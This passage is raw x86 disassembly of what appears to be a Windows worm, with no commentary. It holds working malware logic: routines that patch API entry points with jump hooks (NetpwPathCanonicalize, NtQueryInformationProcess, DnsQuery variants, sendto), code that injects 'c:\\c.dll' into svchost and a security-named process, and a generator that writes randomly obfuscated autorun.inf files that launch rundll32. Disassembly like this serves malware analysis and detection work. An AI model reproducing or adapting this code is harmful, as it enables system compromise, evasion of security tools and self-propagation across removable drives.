		mov	al, [ebx+esi+5]
		cmp	al, 25h
		jz	short loc_9AB36A
		cmp	al, 15h
		jz	short loc_9AB36A


loc_9AB35B:				; CODE XREF: sub_9AB2C9+84j
		mov	eax, [ebp+var_30]
		add	ebx, eax
		mov	[esi], ebx
		mov	[ebp+var_34], ebx
		mov	ecx, [ebp+lpAddress]
		jmp	short loc_9AB316
; ---------------------------------------------------------------------------


loc_9AB36A:				; CODE XREF: sub_9AB2C9+80j
					; sub_9AB2C9+8Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_9AB402
; ---------------------------------------------------------------------------


loc_9AB375:				; CODE XREF: sub_9AB2C9+50j
		lea	eax, [ebx+esi]
		mov	byte ptr [eax+4], 0E9h
		mov	edx, [esi]
		sub	edx, ebx
		sub	edx, esi
		lea	edx, [edx+ecx-9]
		mov	[eax+5], edx
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	ecx		; lpAddress
		mov	ebx, VirtualProtect
		call	ebx ; VirtualProtect
		test	eax, eax
		jz	short loc_9AB3FB
		mov	[ebp+Src], 0E9h
		sub	edi, [ebp+lpAddress]
		sub	edi, 5
		mov	[ebp+var_3F], edi
		push	0Fh		; nPriority
		push	[ebp+hThread]	; hThread
		mov	edi, SetThreadPriority
		call	edi ; SetThreadPriority
		push	5		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+lpAddress]	; Dst
		call	memcpy
		add	esp, 0Ch
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	edi ; SetThreadPriority
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	[ebp+flOldProtect] ; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ebx ; VirtualProtect
		mov	[ebp+var_2C], 1
		jmp	short loc_9AB3FB
; ---------------------------------------------------------------------------


loc_9AB3E8:				; DATA XREF: .text:stru_9A4100o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AB3EC:				; DATA XREF: .text:stru_9A4100o
		mov	esp, [ebp+ms_exc.old_esp]
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	SetThreadPriority


loc_9AB3FB:				; CODE XREF: sub_9AB2C9+D3j
					; sub_9AB2C9+11Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_2C]


loc_9AB402:				; CODE XREF: sub_9AB2C9+A7j
		call	__SEH_epilog
		retn
sub_9AB2C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB408(LPCSTR	lpLibFileName,LPCSTR lpProcName,int,int)

sub_9AB408	proc near		; CODE XREF: sub_9AB47D+14p
					; sub_9AB49A+14p ...

lpLibFileName	= dword	ptr  8
lpProcName	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+lpLibFileName] ; lpModuleName
		xor	edi, edi
		call	GetModuleHandleA
		test	eax, eax
		jnz	short loc_9AB428
		push	[ebp+lpLibFileName] ; lpLibFileName
		call	LoadLibraryA
		test	eax, eax
		jz	short loc_9AB478


loc_9AB428:				; CODE XREF: sub_9AB408+11j
		push	esi
		push	[ebp+lpProcName] ; lpProcName
		push	eax		; hModule
		call	GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_9AB477
		push	40h		; flProtect
		push	103000h		; flAllocationType
		push	2Ch		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc
		test	eax, eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jz	short loc_9AB477
		mov	edx, [ebp+arg_8]
		push	esi		; lpAddress
		mov	ecx, eax
		call	sub_9AB2C9
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_9AB477
		push	8000h		; dwFreeType
		push	eax		; dwSize
		push	lpAddress	; lpAddress
		call	VirtualFree


loc_9AB477:				; CODE XREF: sub_9AB408+2Fj
					; sub_9AB408+49j ...
		pop	esi


loc_9AB478:				; CODE XREF: sub_9AB408+1Ej
		mov	eax, edi
		pop	edi
		pop	ebp
		retn
sub_9AB408	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB47D	proc near		; CODE XREF: sub_9A798D+1B6p
					; sub_9A798D+1D0p
		push	offset lpAddress ; int
		push	offset sub_9AAD64 ; int
		push	offset aNetpwpathcanon ; "NetpwPathCanonicalize"
		push	offset dword_9A410C ; lpLibFileName
		call	sub_9AB408
		add	esp, 10h
		retn
sub_9AB47D	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB49A	proc near		; CODE XREF: sub_9A798D+29p
		push	offset dword_9BB190 ; int
		push	offset sub_9AADCD ; int
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_9AB408
		add	esp, 10h
		retn
sub_9AB49A	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB4B7	proc near		; CODE XREF: sub_9A798D+1E5p
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_9BB194 ; int
		push	offset sub_9AAE58 ; int
		push	offset aDnsquery_a ; "DnsQuery_A"
		mov	esi, offset aDnsapi_dll	; "dnsapi.dll"
		push	esi		; lpLibFileName
		call	sub_9AB408
		push	offset dword_9BB198 ; int
		push	offset sub_9AAF13 ; int
		push	offset aDnsquery_utf8 ;	"DnsQuery_UTF8"
		push	esi		; lpLibFileName
		mov	edi, eax
		call	sub_9AB408
		push	offset dword_9BB19C ; int
		push	offset sub_9AAFA9 ; int
		push	offset aDnsquery_w ; "DnsQuery_W"
		push	esi		; lpLibFileName
		mov	ebx, eax
		call	sub_9AB408
		push	offset dword_9BB1A0 ; int
		push	offset loc_9AB04A ; int
		push	offset aQuery_main ; "Query_Main"
		push	esi		; lpLibFileName
		mov	ebp, eax
		call	sub_9AB408
		add	esp, 40h
		test	edi, edi
		jz	short loc_9AB52E
		test	ebx, ebx
		jz	short loc_9AB52E
		test	ebp, ebp
		jz	short loc_9AB52E
		xor	eax, eax
		inc	eax
		jmp	short loc_9AB530
; ---------------------------------------------------------------------------


loc_9AB52E:				; CODE XREF: sub_9AB4B7+68j
					; sub_9AB4B7+6Cj ...
		xor	eax, eax


loc_9AB530:				; CODE XREF: sub_9AB4B7+75j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_9AB4B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB535	proc near		; CODE XREF: sub_9A798D+1BBp
		push	offset ModuleName ; "dnsrslvr.dll"
		call	GetModuleHandleA
		test	eax, eax
		mov	dword_9BB1A8, eax
		jnz	short loc_9AB54A
		retn
; ---------------------------------------------------------------------------


loc_9AB54A:				; CODE XREF: sub_9AB535+12j
		push	offset dword_9BB1A4 ; int
		push	offset sub_9AB296 ; int
		push	offset aSendto	; "sendto"
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	sub_9AB408
		add	esp, 10h
		retn
sub_9AB535	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB567	proc near		; CODE XREF: StartAddress:loc_9A7803p
		push	esi
		xor	esi, esi


loc_9AB56A:				; CODE XREF: sub_9AB567+21j
		push	offset aSvchost_exeKNe ; "svchost.exe -k NetworkService"
		call	sub_9ACF3E
		test	eax, eax
		pop	ecx
		jnz	short loc_9AB58C
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9AB56A
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9AB58C:				; CODE XREF: sub_9AB567+10j
		push	offset FileName	; "c:\\c.dll"
		push	eax		; dwProcessId
		call	sub_9ACC9F
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9AB567	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB59B	proc near		; CODE XREF: StartAddress+58p
		push	esi
		xor	esi, esi


loc_9AB59E:				; CODE XREF: sub_9AB59B+21j
		push	offset aYsecurity ; "ySecurity"
		call	sub_9ACC1F
		test	eax, eax
		pop	ecx
		jnz	short loc_9AB5C0
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9AB59E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9AB5C0:				; CODE XREF: sub_9AB59B+10j
		push	offset FileName	; "c:\\c.dll"
		push	eax		; dwProcessId
		call	sub_9ACC9F
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9AB59B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AB5CF(char *Dest)

sub_9AB5CF	proc near		; CODE XREF: sub_9AB855+1AFp
					; sub_9AB855+1E6p ...

Dest		= dword	ptr  4

		call	rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short locret_9AB5F6
		push	esi
		mov	esi, edx


loc_9AB5E2:				; CODE XREF: sub_9AB5CF+24j
		push	offset asc_9A41FC ; " "
		push	[esp+8+Dest]	; Dest
		call	strcat
		dec	esi
		pop	ecx
		pop	ecx
		jnz	short loc_9AB5E2
		pop	esi

locret_9AB5F6:				; CODE XREF: sub_9AB5CF+Ej
		retn
sub_9AB5CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB5F7(char *Dest)

sub_9AB5F7	proc near		; CODE XREF: sub_9AB6D6+59p
					; sub_9AB6D6+7Dp ...

Source		= byte ptr -4
var_3		= byte ptr -3
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, rand
		call	esi ; rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB638
		push	edi
		mov	edi, edx


loc_9AB611:				; CODE XREF: sub_9AB5F7+25j
					; sub_9AB5F7+29j ...
		call	esi ; rand
		and	al, 1Fh
		inc	al
		cmp	al, 0Dh
		mov	[ebp+Source], al
		jz	short loc_9AB611
		cmp	al, 0Ah
		jz	short loc_9AB611
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		mov	[ebp+var_3], 0
		call	strcat
		dec	edi
		pop	ecx
		pop	ecx
		jnz	short loc_9AB611
		pop	edi


loc_9AB638:				; CODE XREF: sub_9AB5F7+15j
		pop	esi
		leave
		retn
sub_9AB5F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB63B	proc near		; CODE XREF: sub_9AB6D6:loc_9AB759p
					; sub_9AB7A5+4Ep ...
		call	rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		sub	edx, 0
		jz	short loc_9AB660
		dec	edx
		jz	short loc_9AB659
		dec	edx
		jnz	short locret_9AB66D
		push	offset asc_9A4208 ; "\n"
		jmp	short loc_9AB665
; ---------------------------------------------------------------------------


loc_9AB659:				; CODE XREF: sub_9AB63B+12j
		push	offset asc_9A4204 ; "\r"
		jmp	short loc_9AB665
; ---------------------------------------------------------------------------


loc_9AB660:				; CODE XREF: sub_9AB63B+Fj
		push	offset asc_9A4200 ; "\r\n"


loc_9AB665:				; CODE XREF: sub_9AB63B+1Cj
					; sub_9AB63B+23j
		push	esi		; Dest
		call	strcat
		pop	ecx
		pop	ecx

locret_9AB66D:				; CODE XREF: sub_9AB63B+15j
		retn
sub_9AB63B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB66E(char *Dest,char)

sub_9AB66E	proc near		; CODE XREF: sub_9AB6D6+72p
					; sub_9AB7A5+20p ...

Source		= byte ptr -4
var_3		= byte ptr -3
Dest		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, rand
		call	esi ; rand
		push	19h
		cdq
		pop	ecx
		idiv	ecx
		inc	edx
		jz	short loc_9AB6D3
		push	edi
		mov	edi, edx


loc_9AB687:				; CODE XREF: sub_9AB66E+62j
		cmp	[ebp+arg_4], 0
		jz	short loc_9AB6A5
		call	esi ; rand
		test	al, 1
		jnz	short loc_9AB6A5
		call	esi ; rand
		cdq
		mov	ecx, 80h
		idiv	ecx
		add	dl, 80h
		mov	[ebp+Source], dl
		jmp	short loc_9AB6BD
; ---------------------------------------------------------------------------


loc_9AB6A5:				; CODE XREF: sub_9AB66E+1Dj
					; sub_9AB66E+23j
		call	esi ; rand
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	dl, 41h
		mov	[ebp+Source], dl
		call	esi ; rand
		test	al, 1
		jz	short loc_9AB6BD
		or	[ebp+Source], 20h


loc_9AB6BD:				; CODE XREF: sub_9AB66E+35j
					; sub_9AB66E+49j
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		mov	[ebp+var_3], 0
		call	strcat
		dec	edi
		pop	ecx
		pop	ecx
		jnz	short loc_9AB687
		pop	edi


loc_9AB6D3:				; CODE XREF: sub_9AB66E+14j
		pop	esi
		leave
		retn
sub_9AB66E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB6D6	proc near		; CODE XREF: sub_9AB7A5+55p
					; sub_9AB7A5+A5p ...
		push	esi
		push	edi
		mov	edi, rand
		mov	esi, eax
		call	edi ; rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB763
		push	ebx
		push	ebp
		mov	ebp, edx


loc_9AB6F0:				; CODE XREF: sub_9AB6D6+89j
		call	edi ; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		sub	edx, 0
		jz	short loc_9AB723
		dec	edx
		jz	short loc_9AB752
		dec	edx
		jnz	short loc_9AB75E
		call	edi ; rand
		push	1Eh
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB759
		mov	ebx, edx


loc_9AB711:				; CODE XREF: sub_9AB6D6+49j
		push	offset asc_9A41FC ; " "
		push	esi		; Dest
		call	strcat
		dec	ebx
		pop	ecx
		pop	ecx
		jnz	short loc_9AB711
		jmp	short loc_9AB759
; ---------------------------------------------------------------------------


loc_9AB723:				; CODE XREF: sub_9AB6D6+25j
		push	offset asc_9A420C ; ";"
		push	esi		; Dest
		call	strcat
		push	esi		; Dest
		call	sub_9AB5F7
		add	esp, 0Ch
		call	edi ; rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB752
		mov	ebx, edx


loc_9AB745:				; CODE XREF: sub_9AB6D6+7Aj
		push	1		; char
		push	esi		; Dest
		call	sub_9AB66E
		dec	ebx
		pop	ecx
		pop	ecx
		jnz	short loc_9AB745


loc_9AB752:				; CODE XREF: sub_9AB6D6+28j
					; sub_9AB6D6+6Bj
		push	esi		; Dest
		call	sub_9AB5F7
		pop	ecx


loc_9AB759:				; CODE XREF: sub_9AB6D6+37j
					; sub_9AB6D6+4Bj
		call	sub_9AB63B


loc_9AB75E:				; CODE XREF: sub_9AB6D6+2Bj
		dec	ebp
		jnz	short loc_9AB6F0
		pop	ebp
		pop	ebx


loc_9AB763:				; CODE XREF: sub_9AB6D6+14j
		pop	edi
		pop	esi
		retn
sub_9AB6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB766(char *Dest)

sub_9AB766	proc near		; CODE XREF: sub_9AB855+85p
					; sub_9AB855+149p ...

Source		= byte ptr -4
var_3		= byte ptr -3
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		jmp	short loc_9AB79D
; ---------------------------------------------------------------------------


loc_9AB76F:				; CODE XREF: sub_9AB766+3Aj
		mov	al, [esi]
		cmp	al, 61h
		mov	[ebp+Source], al
		mov	[ebp+var_3], 0
		jl	short loc_9AB78E
		cmp	al, 7Ah
		jg	short loc_9AB78E
		call	rand
		test	al, 1
		jz	short loc_9AB78E
		and	[ebp+Source], 0DFh


loc_9AB78E:				; CODE XREF: sub_9AB766+14j
					; sub_9AB766+18j ...
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	strcat
		pop	ecx
		pop	ecx
		inc	esi


loc_9AB79D:				; CODE XREF: sub_9AB766+7j
		cmp	byte ptr [esi],	0
		jnz	short loc_9AB76F
		pop	esi
		leave
		retn
sub_9AB766	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AB7A5	proc near		; CODE XREF: sub_9AB855+5Ep
					; sub_9AB855+239p

var_C		= dword	ptr -0Ch

		push	esi
		mov	esi, eax
		push	edi
		push	esi		; Dest
		call	sub_9AB5F7
		mov	[esp+0Ch+var_C], offset	asc_9A4218 ; "["
		push	esi		; Dest
		call	strcat
		push	esi		; Dest
		call	sub_9AB5F7
		push	0		; char
		push	esi		; Dest
		call	sub_9AB66E
		mov	edi, rand
		add	esp, 14h
		call	edi ; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB7EC
		push	offset asc_9A4214 ; "]"
		push	esi		; Dest
		call	strcat
		pop	ecx
		pop	ecx


loc_9AB7EC:				; CODE XREF: sub_9AB7A5+38j
		push	esi		; Dest
		call	sub_9AB5F7
		pop	ecx
		call	sub_9AB63B
		mov	eax, esi
		call	sub_9AB6D6
		call	edi ; rand
		push	14h
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9AB852
		mov	edi, edx


loc_9AB80D:				; CODE XREF: sub_9AB7A5+ABj
		push	esi		; Dest
		call	sub_9AB5F7
		push	0		; char
		push	esi		; Dest
		call	sub_9AB66E
		push	esi		; Dest
		call	sub_9AB5F7
		push	offset asc_9A4210 ; "="
		push	esi		; Dest
		call	strcat
		push	esi		; Dest
		call	sub_9AB5F7
		push	0		; char
		push	esi		; Dest
		call	sub_9AB66E
		push	esi		; Dest
		call	sub_9AB5F7
		add	esp, 28h
		call	sub_9AB63B
		mov	eax, esi
		call	sub_9AB6D6
		dec	edi
		jnz	short loc_9AB80D


loc_9AB852:				; CODE XREF: sub_9AB7A5+64j
		pop	edi
		pop	esi
		retn
sub_9AB7A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AB855(char *Dest,int,char *Source,int)

sub_9AB855	proc near		; CODE XREF: sub_9ABA9B+55p

var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Memory		= dword	ptr -0Ch
Str1		= dword	ptr -8
var_4		= dword	ptr -4
Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Source		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		mov	eax, offset aShellexecute ; "shellexecute"
		push	esi
		mov	esi, [ebp+Dest]
		push	edi
		mov	ecx, offset aOpen ; "open"
		mov	edx, offset aAction ; "action"
		mov	[ebp+var_24], eax
		mov	edi, offset aIcon ; "icon"
		mov	[ebp+var_38], eax
		mov	[ebp+var_14], eax
		mov	eax, esi
		mov	[ebp+var_28], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_1C], edx
		mov	[ebp+var_34], edi
		mov	[ebp+var_30], edx
		mov	[ebp+var_2C], offset aUseautoplay1 ; "useautoplay=1"
		mov	[ebp+var_18], ecx
		call	sub_9AB6D6
		mov	edi, rand
		call	edi ; rand
		push	14h
		cdq
		pop	ecx
		idiv	ecx
		inc	edx
		jz	short loc_9AB8BB
		mov	ebx, edx


loc_9AB8B1:				; CODE XREF: sub_9AB855+64j
		mov	eax, esi
		call	sub_9AB7A5
		dec	ebx
		jnz	short loc_9AB8B1


loc_9AB8BB:				; CODE XREF: sub_9AB855+58j
		push	esi		; Dest
		call	sub_9AB5F7
		mov	[esp+48h+var_48], offset asc_9A4218 ; "["
		push	esi		; Dest
		call	strcat
		push	esi		; Dest
		call	sub_9AB5F7
		push	esi		; Dest
		mov	eax, offset aAutorun ; "autorun"
		call	sub_9AB766
		add	esp, 10h
		call	edi ; rand
		test	al, 1
		jz	short loc_9AB8F5
		push	offset asc_9A4214 ; "]"
		push	esi		; Dest
		call	strcat
		pop	ecx
		pop	ecx


loc_9AB8F5:				; CODE XREF: sub_9AB855+91j
		push	esi		; Dest
		call	sub_9AB5F7
		pop	ecx
		call	sub_9AB63B
		cmp	[ebp+arg_C], 5
		jnz	short loc_9AB913
		lea	ebx, [ebp+var_28]


loc_9AB90A:				; CODE XREF: sub_9AB855+C9j
		mov	[ebp+arg_C], 4
		jmp	short loc_9AB926
; ---------------------------------------------------------------------------


loc_9AB913:				; CODE XREF: sub_9AB855+B0j
		push	2
		pop	eax
		cmp	[ebp+arg_C], eax
		jnz	short loc_9AB920
		lea	ebx, [ebp+var_38]
		jmp	short loc_9AB90A
; ---------------------------------------------------------------------------


loc_9AB920:				; CODE XREF: sub_9AB855+C4j
		lea	ebx, [ebp+var_18]
		mov	[ebp+arg_C], eax


loc_9AB926:				; CODE XREF: sub_9AB855+BCj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jle	short loc_9AB956
		mov	[ebp+var_4], eax


loc_9AB930:				; CODE XREF: sub_9AB855+FCj
		call	edi ; rand
		cdq
		idiv	[ebp+arg_C]
		mov	esi, edx
		call	edi ; rand
		cdq
		idiv	[ebp+arg_C]
		dec	[ebp+var_4]
		lea	eax, [ebx+esi*4]
		mov	ecx, edx
		mov	edx, [eax]
		lea	ecx, [ebx+ecx*4]
		mov	esi, [ecx]
		mov	[eax], esi
		mov	[ecx], edx
		jnz	short loc_9AB930
		mov	esi, [ebp+Dest]


loc_9AB956:				; CODE XREF: sub_9AB855+D6j
		mov	eax, esi
		call	sub_9AB6D6
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		jle	loc_9ABA78


loc_9AB96B:				; CODE XREF: sub_9AB855+21Dj
		mov	eax, [ebp+var_4]
		mov	eax, [ebx+eax*4]
		push	eax		; Src
		mov	[ebp+Str1], eax
		call	_strdup
		push	3Dh		; Val
		push	eax		; Str
		mov	[ebp+Memory], eax
		call	strchr
		add	esp, 0Ch
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	short loc_9AB994
		mov	byte ptr [eax],	0


loc_9AB994:				; CODE XREF: sub_9AB855+13Aj
		push	esi		; Dest
		call	sub_9AB5F7
		mov	eax, [ebp+Memory]
		push	esi		; Dest
		call	sub_9AB766
		push	esi		; Dest
		call	sub_9AB5F7
		push	offset asc_9A4210 ; "="
		push	esi		; Dest
		call	strcat
		push	esi		; Dest
		call	sub_9AB5F7
		mov	eax, [ebp+var_10]
		add	esp, 18h
		test	eax, eax
		jz	short loc_9AB9CE
		inc	eax
		push	esi		; Dest
		call	sub_9AB766


loc_9AB9CB:				; CODE XREF: sub_9AB855+1DAj
		pop	ecx
		jmp	short loc_9ABA4C
; ---------------------------------------------------------------------------


loc_9AB9CE:				; CODE XREF: sub_9AB855+16Dj
		push	offset aIcon	; "icon"
		push	[ebp+Str1]	; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9ABA10
		call	edi ; rand
		test	al, 1
		push	esi		; Dest
		mov	eax, offset aSystemroot	; "%systemroot%"
		jnz	short loc_9AB9F2
		mov	eax, offset aWindir ; "%windir%"


loc_9AB9F2:				; CODE XREF: sub_9AB855+196j
		call	sub_9AB766
		pop	ecx
		push	esi		; Dest
		mov	eax, offset aSystem32Shell3 ; "\\system32\\shell32.dll"
		call	sub_9AB766
		push	esi		; Dest
		call	sub_9AB5CF
		push	offset a4_0	; ",4"
		jmp	short loc_9ABA43
; ---------------------------------------------------------------------------


loc_9ABA10:				; CODE XREF: sub_9AB855+18Aj
		push	offset aAction	; "action"
		push	[ebp+Str1]	; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9ABA31
		push	offset Buffer	; Source
		push	esi		; Dest
		call	strcat
		pop	ecx
		jmp	short loc_9AB9CB
; ---------------------------------------------------------------------------


loc_9ABA31:				; CODE XREF: sub_9AB855+1CCj
		mov	eax, [ebp+arg_4]
		push	esi		; Dest
		call	sub_9AB766
		push	esi		; Dest
		call	sub_9AB5CF
		push	[ebp+Source]	; Source


loc_9ABA43:				; CODE XREF: sub_9AB855+1B9j
		push	esi		; Dest
		call	strcat
		add	esp, 10h


loc_9ABA4C:				; CODE XREF: sub_9AB855+177j
		push	esi		; Dest
		call	sub_9AB5CF
		call	sub_9AB63B
		mov	eax, esi
		call	sub_9AB6D6
		push	[ebp+Memory]	; Memory
		call	free
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		jl	loc_9AB96B


loc_9ABA78:				; CODE XREF: sub_9AB855+110j
		mov	eax, esi
		call	sub_9AB6D6
		call	edi ; rand
		push	14h
		cdq
		pop	ecx
		idiv	ecx
		inc	edx
		jz	short loc_9ABA96
		mov	edi, edx


loc_9ABA8C:				; CODE XREF: sub_9AB855+23Fj
		mov	eax, esi
		call	sub_9AB7A5
		dec	edi
		jnz	short loc_9ABA8C


loc_9ABA96:				; CODE XREF: sub_9AB855+233j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AB855	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ABA9B(LPCSTR	lpFileName,char	*Source,int)

sub_9ABA9B	proc near		; CODE XREF: sub_9ABB9F+401p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpFileName	= dword	ptr  8
Source		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_9A42A0
		call	__SEH_prolog
		xor	esi, esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], esi
		push	30000h		; dwBytes
		push	40h		; uFlags
		mov	edi, GlobalAlloc
		call	edi ; GlobalAlloc
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		test	ebx, ebx
		jz	loc_9ABB6C
		call	rand
		cdq
		push	2
		pop	ecx
		idiv	ecx
		test	edx, edx
		mov	eax, offset aRundll32 ;	"rundll32"
		jnz	short loc_9ABAE8
		mov	eax, offset Srch


loc_9ABAE8:				; CODE XREF: sub_9ABA9B+46j
		push	[ebp+arg_8]	; int
		push	[ebp+Source]	; Source
		push	eax		; int
		push	ebx		; Dest
		call	sub_9AB855
		push	ebx		; Str
		call	strlen
		add	esp, 14h
		lea	eax, [eax+eax+4]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	esi, eax
		mov	[ebp+var_20], esi
		test	esi, esi
		jz	short loc_9ABB6C
		mov	word ptr [esi],	0FEFFh
		push	ebx		; Str
		call	strlen
		pop	ecx
		inc	eax
		push	eax		; cchWideChar
		lea	eax, [esi+2]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	ebx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9ABB6C
		push	1F01FFh		; int
		push	[ebp+lpFileName] ; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx
		push	[ebp+lpFileName] ; lpFileName
		push	esi		; Str
		call	wcslen
		pop	ecx
		shl	eax, 1
		push	eax		; nNumberOfBytesToWrite
		push	esi		; lpBuffer
		call	sub_9AC7F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9ABB6C
		push	120089h		; int
		push	[ebp+lpFileName] ; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx


loc_9ABB6C:				; CODE XREF: sub_9ABA9B+2Dj
					; sub_9ABA9B+73j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9ABB83
; ---------------------------------------------------------------------------


loc_9ABB72:				; DATA XREF: .text:stru_9A42A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9ABB76:				; DATA XREF: .text:stru_9A42A0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]
		mov	esi, [ebp+var_20]


loc_9ABB83:				; CODE XREF: sub_9ABA9B+D5j
		test	esi, esi
		jz	short loc_9ABB8E
		push	esi		; hMem
		call	GlobalFree


loc_9ABB8E:				; CODE XREF: sub_9ABA9B+EAj
		test	ebx, ebx
		jz	short loc_9ABB99
		push	ebx		; hMem
		call	GlobalFree


loc_9ABB99:				; CODE XREF: sub_9ABA9B+F5j
		call	__SEH_epilog
		retn
sub_9ABA9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9ABB9F(LPVOID)

sub_9ABB9F	proc near		; CODE XREF: sub_9AC151+7Fp
					; DATA XREF: sub_9ABFD3+8Bo

Source		= byte ptr -7B0h
var_6AD		= byte ptr -6ADh
FindFileData	= _WIN32_FIND_DATAA ptr	-6ACh
var_56C		= byte ptr -56Ch
var_469		= byte ptr -469h
Dest		= byte ptr -468h
var_365		= byte ptr -365h
PathName	= byte ptr -364h
var_261		= byte ptr -261h
var_260		= byte ptr -260h
var_15D		= byte ptr -15Dh
FileName	= byte ptr -15Ch
var_59		= byte ptr -59h
